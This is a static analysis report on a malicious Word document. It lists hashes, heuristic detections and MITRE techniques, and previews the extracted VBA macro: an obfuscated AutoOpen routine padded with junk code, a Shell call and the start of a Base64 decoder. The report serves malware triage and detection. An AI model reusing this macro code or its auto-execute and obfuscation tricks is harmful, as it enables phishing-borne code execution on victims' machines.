Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 5326ac076b18318b…

MALICIOUS

Office (OLE)

257.5 KB Created: 2017-06-30 13:40:00 Authoring application: Microsoft Office Word First seen: 2017-07-07
MD5: d196f05023242e160d90037aee6f1184 SHA-1: d89637bab97dcc824531a8260bbea4f941ce8ef6 SHA-256: 5326ac076b18318b152c7b847ff0993f90c4f43f14fc379754fcc66425919c18
212 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1566.001 Spearphishing Attachment

The sample is a malicious Office document containing a VBA macro. The macro is obfuscated and uses legacy WordBasic auto-execution markers, indicating an attempt to run arbitrary code. The presence of a critical heuristic for Shell calls in VBA and ClamAV detection further supports its malicious nature. The primary IOC is the embedded VBA macro file.

Heuristics 8

  • ClamAV: Doc.Macro.Obfuscation-6331107-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Macro.Obfuscation-6331107-0
  • VBA macros detected medium 3 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • Potential Shell call in VBA critical OLE_VBA_SHELL
    Potential Shell call in VBA
    Matched line in script
    g3e8hv5Q = NNiCl & itJdQm
    Call Shell(r52UAc, LWZAs1e8)
    End Function
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • AutoOpen macro low OLE_VBA_AUTOOPEN
    AutoOpen macro
    Matched line in script
    Attribute VB_Name = "mfNpsDqki"
    Sub AutoOpen()
    beiRBGhj = 27594 / 1022
  • Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC
    OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.
  • Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://ns.adobe.com/xap/1.0/ In document text (OLE body)
    • http://www.w3.org/1999/02/22-rdf-syntax-ns#In document text (OLE body)
    • http://purl.org/dc/elements/1.1/In document text (OLE body)
    • http://ns.adobe.com/xap/1.0/mm/In document text (OLE body)
    • http://ns.adobe.com/xap/1.0/sType/ResourceRef#In document text (OLE body)
    • http://ns.adobe.com/photoshop/1.0/In document text (OLE body)
    • http://ns.adobe.com/tiff/1.0/In document text (OLE body)
    • http://ns.adobe.com/exif/1.0/In document text (OLE body)
    • http://www.iec.chIn document text (OLE body)
    • http://schemas.openxmlformats.org/drawingml/2006/mainIn document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 75351 bytes
SHA-256: cc1b97e6da8fd01bafd397c9aaa6ad332d127ee249c67247385224274644c1a2
Detection
ClamAV: No threats found
Obfuscation or payload: likely
833 of 1630 identifiers look randomly generated (e.g. 'Jy5leGUnO2ZvcmVhY2goJHVybCBpbiAkdXJscyl7') — consistent with name-mangling obfuscation.
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True

Attribute VB_Name = "mfNpsDqki"
Sub AutoOpen()
beiRBGhj = 27594 / 1022
Select Case beiRBGhj
Case -5291 + 5294
BpYAj1kx = 21440
Case -266 + 296
axSQP = 51282.438772323
Case 28980 / 690
Glixr = 37461.999806905
End Select
TISha7RL = 347 - 290
If TISha7RL = -5291 + 5294 Then
hs14Dh = 57485.277885885
ElseIf TISha7RL = -266 + 296 Then
mUYdRjNmV = -5149
Else
LHklhzNen = -5149
End If
qV2W0UH = hs14Dh & mUYdRjNmV & LHklhzNen
jQxKFdOG = 347 - 290
If jQxKFdOG = -5291 + 5294 Then
ma2Et = 46359.868030329
End If
BzQwP7o2b = BzQwP7o2b & ma2Et
zGFpH9g = 347 - 290
If zGFpH9g = -5291 + 5294 Then
gIaHe3 = 30067.22621189
ElseIf zGFpH9g = -266 + 296 Then
fYHcSw = 30067.22621189
Else
XefOmhC6 = 247
End If
TQdkKB = gIaHe3 & fYHcSw & XefOmhC6
ggeQMCA = 27594 / 1022
Select Case ggeQMCA
Case -5291 + 5294
lvFY4LfZ6 = 103
Case -266 + 296
B0xo1UZXr = -15893
Case 28980 / 690
yM5YgtvN6 = b56BtgH
Case Else
TGVI93JP4 = 103
End Select
BN1o27A = 598 + 14
If BN1o27A = 28407 / 9469 Then
l8hdo = True
Else
soUvJ = 15349.680702248
End If
yshYuF = l8hdo & soUvJ
wMKhBInC = -558 + 583
Select Case wMKhBInC
Case 28407 / 9469
hzG4UQI = -11141
Case -1005 + 1030
h2guC = 0
Case -462 + 522
BodMciCA = 33739.543200825
Case Else
hho21YCU = 33739.543200825
End Select
blm0o = 598 + 14
If blm0o = 28407 / 9469 Then
hortziEU = 44871.336259935
ElseIf blm0o = -1005 + 1030 Then
luIr7ZU = nMqnk
Else
Ua9rFyhz = nMqnk
End If
pTKnkL4G = hortziEU & luIr7ZU & Ua9rFyhz
WHSKmJ = 598 + 14
If WHSKmJ = 28407 / 9469 Then
wzPF7NG = 43617.159776099
End If
rnXm1Tv26 = rnXm1Tv26 & wzPF7NG
sHtEFvgWY = -558 + 583
Select Case sHtEFvgWY
Case 28407 / 9469
eAi3Eyt = 25137.643980013
Case -1005 + 1030
AFHGA = -2074159642
Case -462 + 522
xycKVlphn = 7908.8337123324
Case Else
RjcXy4fz = -2074159642
End Select
FkxlnyGL = 28519 / 361
Select Case FkxlnyGL
Case 16993 / 16993
CICSK = 45267.807058144
Case -1208 + 1233
YJU9p7 = tL5baE7Po
Case 18920 / 440
EVYnkUOH = False
Case Else
lcI3vz = False
End Select
jCvj6V9 = 28519 / 361
Select Case jCvj6V9
Case 16993 / 16993
tvhZEB = S4rwbqCX
Case -1208 + 1233
znDsu4 = 0
Case 18920 / 440
kZHRIlpJ5 = 26607
Case Else
IFAW5D = 26607
End Select
YUPIXOZ19 = 28519 / 361
Select Case YUPIXOZ19
Case 16993 / 16993
qVlHTJ = False
Case -1208 + 1233
iyxYO = 11390.091935404
Case 18920 / 440
updGt = 0
End Select
ReW6dOzi9 = 275 - 191
Select Case ReW6dOzi9
Case -3441 + 3443
WkMJrQ8b6 = 0
Case -805 + 835
RSUkFsZ = 0
Case -187 + 244
sij5wEfOn = True
End Select
EaCQ1 = 275 - 191
Select Case EaCQ1
Case -3441 + 3443
Uf0A5Mwl = 59978.849309909
End Select
jrYwMzCQj = 275 - 191
Select Case jrYwMzCQj
Case -3441 + 3443
D7SKvUPMX = briavfJe4
Case -805 + 835
bpYqFIX = -869797528
End Select
Dlp9miwAC = 165 - 63
Select Case Dlp9miwAC
Case -14833 + 14835
lOkjd = True
End Select
bjez91D = 478 - 33
If bjez91D = -14833 + 14835 Then
SRmeBv = 31979
ElseIf bjez91D = 14940 / 498 Then
W9DdPw = 204
Else
rR9hbF = AUSvit6
End If
G9ITDlt = SRmeBv & W9DdPw & rR9hbF
G891Cns = 478 - 33
If G891Cns = -14833 + 14835 Then
YAzB3m = 0
End If
dhvCu = dhvCu & YAzB3m
zM6JKo7p = 165 - 63
Select Case zM6JKo7p
Case -14833 + 14835
VvGWw = 59290.899034211
End Select
e2PojR = 28381 / 281
Select Case e2PojR
Case 26917 / 2447
GiLOM = True
Case -653 + 681
rrKVRp = -11624
End Select
CD4QUN = 664 + 37
If CD4QUN = 26917 / 2447 Then
hzWcFQue = 47177.656721424
ElseIf CD4QUN = -653 + 681 Then
mEdloIr = 22862
Else
J46M8N = pFmlr
End If
oKU5V8I = hzWcFQue & mEdloIr & J46M8N
BYqZ6V = 28381 / 281
Select Case BYqZ6V
Case 26917 / 2447
NyLsr = 41425.538647859
End Select
JZz35N = 73 * 12
If JZz35N = 32250 / 2150 Then
EfkcGO = 109
Else
eJAQL97 = 9130
End If
aIT7kaZy = EfkcGO & eJAQL97
OjD6IVp4o = 30820 / 1541
Select Case OjD6IVp4o
Case 32250 / 2150
gz1Ty0R = 5407.0357290436
Case 205 - 178
D9cpzy = 0
End Select
VFdZiGfM = 30820 / 1541
Select Case VFdZiGfM
Case 32250 / 2150
umJYOLSa = 46873.879152448
Case 205 - 178
tb4jvN = True
End Select
wRMfeU = 73 * 12
If wRMfeU = 32250 / 2150 Then
zbLBS8ARI = 64337.009001663
Else
uu5ErWpn = 16041.744684817
End If
bZlfKw0 = zbLBS8ARI & uu5ErWpn
g9vNRrC0g = 25944 / 141
If g9vNRrC0g = 1081 - 1069 Then
vGiSA = om65EplK
ElseIf g9vNRrC0g = -810 + 841 Then
QHJjZ9G = 55069.183156511
Else
cbawsC2n = om65EplK
End If
QUTnVuGa = vGiSA & QHJjZ9G & cbawsC2n
geo1Hyj = 1 * 24
Select Case geo1Hyj
Case 1081 - 1069
maFERsN = WxHRn
Case -810 + 841
R3aZO0z9C = WxHRn
Case -145 + 209
lvT1C6H5d = 8452.4197623914
Case Else
BFoOH = WxHRn
End Select
nLKYEO = 25944 / 141
If nLKYEO = 1081 - 1069 Then
oTsr2R = False
End If
urmXF = urmXF & oTsr2R
EOBKyisdl = 27707 / 269
Select Case EOBKyisdl
Case 139 - 126
TPfwZTz5 = 62
End Select
K4XN9x1Fp = 27707 / 269
Select Case K4XN9x1Fp
Case 139 - 126
QsCN2jAHz = 60736.889979187
Case 22304 / 1394
sxYqkeaw = 0
Case -250 + 299
KRn6W = 60736.889979187
End Select
cZyIQB = 27707 / 269
Select Case cZyIQB
Case 139 - 126
jZp4hqTJV = True
Case 22304 / 1394
EE9lAeL4 = 142
Case -250 + 299
G0CmyWa = 37408.073107552
Case Else
ZAIXSFh = -1811592286
End Select
kAZQ5ud = 27707 / 269
Select Case kAZQ5ud
Case 139 - 126
ouqTFzf9g = 9095.8081252928
Case 22304 / 1394
PSwxplG = tKTELJ
Case -250 + 299
zCoVns3 = 18521.427007652
End Select
kadYhLK2 = 278 - 225
Select Case kadYhLK2
Case -3837 + 3841
SDWYuI = 33921.09362763
Case 26112 / 816
tHPaXm = -1422444966
End Select
B6Lt3 = 278 - 225
Select Case B6Lt3
Case -3837 + 3841
SozIK = -5985
Case 26112 / 816
YvLQX = False
Case -167 + 218
GsHBJd6Wv = 39
Case Else
mtLKiT9k = False
End Select
exmw1DFjC = 278 - 225
Select Case exmw1DFjC
Case -3837 + 3841
dWS5UZ = 29567
Case 26112 / 816
qI6GwBfY = PvfXGI3
Case -167 + 218
f8d0jqypO = 108
Case Else
cwlrM = False
End Select
oAyGkx = 278 - 225
Select Case oAyGkx
Case -3837 + 3841
Jm6To1 = xwfZJMgzl
End Select
Vzm2o = 22710 / 30
If Vzm2o = -3837 + 3841 Then
o2WsTtc = 22
Else
emLRfG = 32362.681543464
End If
aKy9dqc = o2WsTtc & emLRfG
ubhqMns = 1180 / 4
If ubhqMns = 14823 - 14821 Then
QDHmow9Cv = 22049.66318338
End If
WnfNMuEp = WnfNMuEp & QDHmow9Cv
tCspNbYQ = 49 + 62
Select Case tCspNbYQ
Case 14823 - 14821
cCJOw = 23801
Case 566 - 534
EZemEi = 23801
Case 323 - 286
Uo47uBde = True
Case Else
HDVNj = 42261.019116597
End Select
htvLAZk = 49 + 62
Select Case htvLAZk
Case 14823 - 14821
UMniT6Yq = 52
Case 566 - 534
ncvaL = True
End Select
pfUhlJd8j = 49 + 62
Select Case pfUhlJd8j
Case 14823 - 14821
TYXdgs = 0
Case 566 - 534
o4jTi8eE = 0
Case 323 - 286
Kgv0Vfj = -19021
Case Else
AMStUV2uy = False
End Select
Hawo7V = 49 + 62
Select Case Hawo7V
Case 14823 - 14821
lIWfLwF = True
End Select
pr2bfQTV
QOBRH = -144 + 264
Select Case QOBRH
Case 1986 - 1970
BI5V9TaEU = 0
End Select
maIgj = 836 + 30
If maIgj = 1986 - 1970 Then
V1BeKRXqa = 242
ElseIf maIgj = 7077 / 337 Then
r4F6S7Q = -1892940180
Else
Pu3LDIKpr = 57228.506558928
End If
K09jqMo = V1BeKRXqa & r4F6S7Q & Pu3LDIKpr
qfFrCRU1V = -144 + 264
Select Case qfFrCRU1V
Case 1986 - 1970
FjHErU = UPfo3G
Case 7077 / 337
XVIsP31H = False
Case -25 + 87
ZpM9su = -9757
End Select
kCEew = -144 + 264
Select Case kCEew
Case 1986 - 1970
GtuBpDy = 18487.285559913
Case 7077 / 337
Kqx1Gms8 = nRMiQ2o
Case -25 + 87
JyvX2Vsi = 5632.9805907272
End Select
x2T9V = -646 + 664
Select Case x2T9V
Case 3502 - 3493
kCoFPQWB = False
Case 725 - 707
f2KnJ = 49610.136607718
End Select
qAl7w = -646 + 664
Select Case qAl7w
Case 3502 - 3493
Ev2xd6Y = 0
Case 725 - 707
bXvpgf = 28996.804222849
Case -382 + 433
xXS2B3KEG = False
Case Else
CHECaD4 = 62187.302975949
End Select
SAqS7a = 9072 / 567
If SAqS7a = 3502 - 3493 Then
pkP68 = 241
End If
wsjE4f = wsjE4f & pkP68
f9wrcJ = -646 + 664
Select Case f9wrcJ
Case 3502 - 3493
e9h8V2Wkj = HUlAvTKI
Case 725 - 707
a5anxW = HUlAvTKI
Case -382 + 433
pyqwT8Uo3 = 53492.590135893
End Select

QA42b = 90 + 8
Select Case QA42b
Case -10511 + 10513
sh4ZvV = 235
Case -1389 + 1412
oQVDhLB8 = 29422.204817222
End Select
EzxDZWVKM = 90 + 8
Select Case EzxDZWVKM
Case -10511 + 10513
rI8g4 = -29760
Case -1389 + 1412
UWhPI95j = 0
Case 605 - 562
LPWbN = 178
Case Else
xqCxitN = 59978.335889994
End Select
EDcug3YJ = -618 + 637
If EDcug3YJ = -10511 + 10513 Then
DvW54w = 47093.698161394
End If
qA3Oy = qA3Oy & DvW54w
biUn5SaK = -618 + 637
If biUn5SaK = -10511 + 10513 Then
GD0Rn = False
ElseIf biUn5SaK = -1389 + 1412 Then
PwrUoA = False
Else
C2Kp4 = QxIVU
End If
cRHx02v = GD0Rn & PwrUoA & C2Kp4
iRCAFrK = 31088 / 67
If iRCAFrK = 10020 / 3340 Then
IsjPRwBV = False
End If
Dakj4I = Dakj4I & IsjPRwBV
Zg9JAl0 = 31088 / 67
If Zg9JAl0 = 10020 / 3340 Then
VbF7sE2U = False
ElseIf Zg9JAl0 = 720 - 695 Then
cWD2fmMz = -1590595988
Else
GYUQpK = False
End If
vuevSf = VbF7sE2U & cWD2fmMz & GYUQpK
VtxfE = -325 + 405
Select Case VtxfE
Case 10020 / 3340
KaVq3JiT6 = 55843.390785349
Case 720 - 695
DjdTZIok = VjoEVXp8
Case 359 - 317
l7FHgU = 61
Case Else
n7bxwGJ39 = 61
End Select
Z1yR9vpw = -325 + 405
Select Case Z1yR9vpw
Case 10020 / 3340
sQ7Pwq = 0
End Select
End Sub

Attribute VB_Name = "bIUVT7p"
Private Const rV7OT = 8355840 * 2
Private Const FOw76XgTm = 68077 - 2797
Private Const YlBSP3 = 233 + 22
Private Const RtNEJBw = 269495 - 7351
Private Const T6oWGinF = 1024 * 4
Private Const ueXyJ = 245 - 181
Private Const XLsw6NzUm = 378 - 122
Private Const ElcCYyWw = 41040 + 24496
Public Function a1txp(gLCJS As String) As String
Dim wUjqedK5() As Byte
Dim aeLoJxZs() As Byte
Dim nwh1H(255) As Byte
Dim Gsp31cB0t(63) As Long
Dim NyHsn6PB(63) As Long
Dim njGrHp(63) As Long
Dim FrRoDkc6E As Long
Dim XBhQ2aX As Integer
Dim vbr6j As Long
Dim Lr4HL As Long
Dim eve3J As String
Dim ZrRCE As Long
FmkAU2 = 7072 / 13
If FmkAU2 = 10071 / 3357 Then
XH9l3j = -800308626
End If
M3ytKcaC = M3ytKcaC & XH9l3j
GyefsWg6u = 7072 / 13
If GyefsWg6u = 10071 / 3357 Then
STX0MEL = -1244362602
End If
ijtVhv = ijtVhv & STX0MEL
i5lS2aUkV = 7072 / 13
If i5lS2aUkV = 10071 / 3357 Then
ptwbvX1qS = zNwnmx0
ElseIf i5lS2aUkV = 504 - 480 Then
ItjGpL8 = 62879.808907353
Else
YHZmf = 62879.808907353
End If
ugyWP2jc = ptwbvX1qS & ItjGpL8 & YHZmf
cf4l0pZJn = -2495 + 2497
Select Case cf4l0pZJn
Case 2891 - 2881
IgqmHbP = 30799
Case -1634 + 1652
RZHzN = 27667.660069867
End Select
YfwVcmpz = 989 - 11
If YfwVcmpz = 2891 - 2881 Then
abq32R = 185
End If
JnsAT = JnsAT & abq32R
yed348c = 989 - 11
If yed348c = 2891 - 2881 Then
WwC1B4T86 = True
End If
f0CpLsfJ = f0CpLsfJ & WwC1B4T86
gW2EC5sMR = 989 - 11
If gW2EC5sMR = 2891 - 2881 Then
fVMn7lAQ = laJ0hlz
Else
XQsehEf = 3219.3140165064
End If
NTIlcM0ad = fVMn7lAQ & XQsehEf
GmeOGQkc = 4040 - 4034
If GmeOGQkc = 12834 / 2139 Then
HdrLTeP4 = q6yYWFpLi
End If
xBfvt = xBfvt & HdrLTeP4
pC21e = 565 / 5
Select Case pC21e
Case 12834 / 2139
Auqmw6yv = False
Case 1222 - 1198
AivfTosrG = 0
Case 718 - 680
X9arJEV = 14265.322585147
End Select
rIPJOzHK = 565 / 5
Select Case rIPJOzHK
Case 12834 / 2139
F7IJgYQG = True
Case 1222 - 1198
utzfCs = 132
Case 718 - 680
HW7vB = 54815.484567175
End Select
geyrZ3 = 565 / 5
Select Case geyrZ3
Case 12834 / 2139
INKbPYE0Z = -915
Case 1222 - 1198
KbmVF = True
End Select
P1We3 = 4040 - 4034
If P1We3 = 12834 / 2139 Then
e2nDY7E8 = True
ElseIf P1We3 = 1222 - 1198 Then
krEDBXP = 61
Else
sSe7uFNA = 37058.273961733
End If
ygZvhyqD = e2nDY7E8 & krEDBXP & sSe7uFNA
FPNfZer = 28980 / 1449
Select Case FPNfZer
Case 1203 - 1200
UEtHD = 13097
Case -66 + 97
NhliM5Qpy = 13097
End Select
HBjqXKLn = 28980 / 1449
Select Case HBjqXKLn
Case 1203 - 1200
gG6MFLdjb = 8097
Case -66 + 97
UUpHab = 8097
Case -8 + 54
GXdz9Z = 134
Case Else
tTNczgU = -422425142
End Select
oj8RW = 7315 / 55
If oj8RW = 1203 - 1200 Then
x3XVGSCi = ewGXNVUab
End If
jxqQKVzp9 = jxqQKVzp9 & x3XVGSCi
zsHlWx = 7315 / 55
If zsHlWx = 1203 - 1200 Then
SIHtcLVns = 65
ElseIf zsHlWx = -66 + 97 Then
TdfwN23U5 = 57354.887782113
Else
TYhwubFeG = -17375
End If
Y8QS3e = SIHtcLVns & TdfwN23U5 & TYhwubFeG
txSHbOesT = 448 * 1
If txSHbOesT = 4628 - 4623 Then
ayUf7 = -92744608
ElseIf txSHbOesT = 2289 / 109 Then
jJmZbjv = 1700
Else
lc41K = 205
End If
uAJa0 = ayUf7 & jJmZbjv & lc41K
gSawgqJG = -24 + 58
Select Case gSawgqJG
Case 4628 - 4623
HRO2ZMg = 10
End Select
OojF4 = 448 * 1
If OojF4 = 4628 - 4623 Then
BdS09lio = -556
ElseIf OojF4 = 2289 / 109 Then
pSWV1yf = 31942.548538534
Else
LoZ3gsR = NywIl4j
End If
S5aIrEL = BdS09lio & pSWV1yf & LoZ3gsR
A9aJmeN3G = -24 + 58
Select Case A9aJmeN3G
Case 4628 - 4623
DkKpq3NmI = 155
Case 2289 / 109
XQeJMsTY = 54790.775226745
Case 441 - 395
rjCInX = 54790.775226745
Case Else
yV1ODd = False
End Select
umluBLKRC = 340 - 231
Select Case umluBLKRC
Case -985 + 990
GRVXZo = -1516728698
Case 7392 / 352
jcVium64n = hVuU3xvDk
Case 24966 / 657
KAHOw9r = -1516728698
Case Else
fwqXeT = 12631.204165108
End Select
kYw1r = 444 / 6
If kYw1r = -985 + 990 Then
ndkUjp1 = 0
ElseIf kYw1r = 7392 / 352 Then
fFVbjCH = 17020
Else
IaHL6 = 64583.44879043
End If
leoGwx = ndkUjp1 & fFVbjCH & IaHL6
Y4w5W8o3 = 340 - 231
Select Case Y4w5W8o3
Case -985 + 990
E18mSif = 0
Case 7392 / 352
TSLq0 = False
Case 24966 / 657
KN6HKf1Y = 254
Case Else
mKMZkTNFA = False
End Select
SXTygx = 340 - 231
Select Case SXTygx
Case -985 + 990
NPnUCm37 = 20861.128674554
End Select
YhdxLq = 187 - 93
Select Case YhdxLq
Case -1299 + 1314
t76Gq = True
Case -808 + 838
JpjL0A = 27839.566112324
End Select
c2rJK = 187 - 93
Select Case c2rJK
Case -1299 + 1314
NRPFHwi9T = 21627
Case -808 + 838
bQ9Isip71 = False
Case 28380 / 660
nZj5b = 51206.700881755
Case Else
AxRMF0alE = 52460.87971541
End Select
hWPXnmQvt = 798 + 24
If hWPXnmQvt = -1299 + 1314 Then
OROXaLIj = False
Else
osyuj = -1101048464
End If
VUb0T = OROXaLIj & osyuj
ehmWK3A = 28400 / 400
Select Case ehmWK3A
Case 13164 / 4388
Ub1P5JeUS = 4217.1475726229
Case -259 + 284
kgUXx6c = kf92XVj1
Case -409 + 468
BtBmMT1CX = 2
Case Else
zcYDjuUyv = 0
End Select
GAflr6nc = 28400 / 400
Select Case GAflr6nc
Case 13164 / 4388
O0DQI9ByW = ddJmb5w3
Case -259 + 284
pGOMHJ9 = ddJmb5w3
End Select
gxBvH9 = 28400 / 400
Select Case gxBvH9
Case 13164 / 4388
UIN2l8Hz = -28031
End Select
S1vIFnimW = 28400 / 400
Select Case S1vIFnimW
Case 13164 / 4388
jJcpCZ = EAaIJsjb
Case -259 + 284
aricMQJ = 93
Case -409 + 468
rWMmN = 0
End Select
jl1bUwKrt = 484 - 15
If jl1bUwKrt = 6816 / 568 Then
i06BIqLw = nIedqG
End If
r4lbxozyT = r4lbxozyT & i06BIqLw
dtsMAQE = -111 + 221
Select Case dtsMAQE
Case 6816 / 568
zwqd4g3sE = -657279486
Case 599 - 576
ysXNVy = 55019.231860472
End Select
wcb6Yu2K = 484 - 15
If wcb6Yu2K = 6816 / 568 Then
MXq9oUC = 3886
End If
z9gpznk = z9gpznk & MXq9oUC
tzETx = -111 + 221
Select Case tzETx
Case 6816 / 568
KXbQEgP = True
Case 599 - 576
oFy1jsP = 6884
End Select
pqC3D = 574 + 25
If pqC3D = 4784 - 4781 Then
gAqP2s = o83MAhX
End If
Sx2T8vW = Sx2T8vW & gAqP2s
CxbNQqX = 134 / 2
Select Case CxbNQqX
Case 4784 - 4781
JARWbc = 40782.958805357
Case 1421 - 1398
w4zyn = l6wcSt
Case -298 + 343
MK3t5UpYw = 184
End Select
lomE3U7 = 134 / 2
Select Case lomE3U7
Case 4784 - 4781
jCKaw8O = 37357.564630059
Case 1421 - 1398
TsSRwYIbj = False
End Select
Ghj4NGu = 598 - 45
If Ghj4NGu = 3757 / 289 Then
ClejLi2QR = 41931.69039262
Else
AzTNW9aq = True
End If
rFZpPAqD = ClejLi2QR & AzTNW9aq
GZ8MDRv51 = 13433 / 707
Select Case GZ8MDRv51
Case 3757 / 289
afAnI = tZljE
Case 541 - 515
vRVkN = 0
Case 5952 / 96
qIUtTe = True
End Select
oMAQfY = 13433 / 707
Select Case oMAQfY
Case 3757 / 289
OiGbau = 0
Case 541 - 515
u6SEV0HU = laAVG85L
Case 5952 / 96
bEzPo06L = 7771
Case Else
ZZMk5cjH9 = 7771
End Select
vydlvbEtO = 598 - 45
If vydlvbEtO = 3757 / 289 Then
Kuk0MYK = 30620.564158088
Else
t5HBZqe = 255
End If
PrEqDc = Kuk0MYK & t5HBZqe
HZQRJHKg = 170 + 44
If HZQRJHKg = 27934 / 13967 Then
BAfukEZ8c = -24106
ElseIf HZQRJHKg = 1570 - 1554 Then
CmZ52P = 58146.227046978
Else
bZxlD8w = 161
End If
Biqh1P7 = BAfukEZ8c & CmZ52P & bZxlD8w
U4YDp = 271 - 169
Select Case U4YDp
Case 27934 / 13967
Kv3gdGmVS = 60488.47530595
Case 1570 - 1554
vj1fsr7 = RFCrJ
Case -156 + 203
xSR24 = 254
Case Else
CBk5f = RFCrJ
End Select
eTBWmG = 170 + 44
If eTBWmG = 27934 / 13967 Then
hEnIlHi = False
End If
QzNdtPH = QzNdtPH & hEnIlHi
YA4kpsO = 170 + 44
If YA4kpsO = 27934 / 13967 Then
swdPC = -988028534
Else
sybZf = Xr4lcO8
End If
Opaz7 = swdPC & sybZf
ZrRCE = Len(gLCJS) Mod 4
AQDqr = 13548 / 2258
Select Case AQDqr
Case 9316 / 9316
BidD2 = 13754.019643213
Case 16038 / 891
Oiyoh = 23353
Case -534 + 581
RVvRAQe = 72
End Select
sYkPMlGB = 13548 / 2258
Select Case sYkPMlGB
Case 9316 / 9316
yLmS2o3G = 43790.416719609
Case 16038 / 891
zKRdM8s = True
Case -534 + 581
GDBCRH = 8455
Case Else
y6HFREy = 0
End Select
XFSyEc1h = 13548 / 2258
Select Case XFSyEc1h
Case 9316 / 9316
T1EGP = 235
Case 16038 / 891
PuLTD = -30002
End Select
P5kKuoFHl = 30016 / 56
If P5kKuoFHl = 9316 / 9316 Then
kD6Tqoj = 78
ElseIf P5kKuoFHl = 16038 / 891 Then
fs14kG = False
Else
z2ztw = 6949
End If
Ipt9rZ1x3 = kD6Tqoj & fs14kG & z2ztw
mkT4yjl5 = -4 + 125
Select Case mkT4yjl5
Case 1483 - 1473
JT2x0bNu = 15881
Case 301 - 274
ruw1t = False
End Select
PhVv4d = -4 + 125
Select Case PhVv4d
Case 1483 - 1473
bU6eadm3 = 29990.556542302
Case 301 - 274
r1dach = 19749
End Select
ygRNIuA = 489 + 44
If ygRNIuA = 1483 - 1473 Then
NWG80q = -28683
End If
FL45P = FL45P & NWG80q
FHlPkpLr = -4 + 125
Select Case FHlPkpLr
Case 1483 - 1473
TQ3MDcl = 80
Case 301 - 274
s379dBeL1 = 28057.271506003
End Select
If InStrRev(gLCJS, "==") Then
n5BCkA = 13888 / 112
Select Case n5BCkA
Case 3541 - 3533
nsiAC = 28872.717337277
Case 420 / 15
pZM32 = -2066206766
Case 26296 / 692
xRE49nf = 47208.554932431
End Select
u6bmcj = 13888 / 112
Select Case u6bmcj
Case 3541 - 3533
oD2ZiX7z = 45514.610183662
Case 420 / 15
iGcD7k9e = True
Case 26296 / 692
sPJK3B8EW = 26858
Case Else
hKAqIC = 0
End Select
jSHQlG = 13888 / 112
Select Case jSHQlG
Case 3541 - 3533
ZdPEpz = 121
Case 420 / 15
fEtBXHsR = 121
End Select
FguIV = 9494 / 94
Select Case FguIV
Case -3144 + 3148
oite7pU8 = 18401
End Select
d7DwHjTXB = 9494 / 94
Select Case d7DwHjTXB
Case -3144 + 3148
QSUwv = oupih3j
Case 664 - 635
p8Q5zZ = oupih3j
Case 443 - 391
mG8Nt = 14377
Case Else
QVr03P6hd = 43774.548705692
End Select
SkIWE = 9494 / 94
Select Case SkIWE
Case -3144 + 3148
WL9Oe = 17430.261895845
End Select
rXLpkfd = 9494 / 94
Select Case rXLpkfd
Case -3144 + 3148
TOLxgdlf = HzQrZd
Case 664 - 635
j1hW57mD = 1205.426600746
Case 443 - 391
x8CNeMJ = False
End Select
gZikqjbR = 66 + 4
Select Case gZikqjbR
Case 1867 - 1851
FUZictGJ = 247
Case 869 - 842
FKasFHZ = 22383.118217797
End Select
e6oFYQWe = 66 + 4
Select Case e6oFYQWe
Case 1867 - 1851
oxHyCX3Sa = -32718
Case 869 - 842
j5u27ypK = -32718
Case 321 - 261
…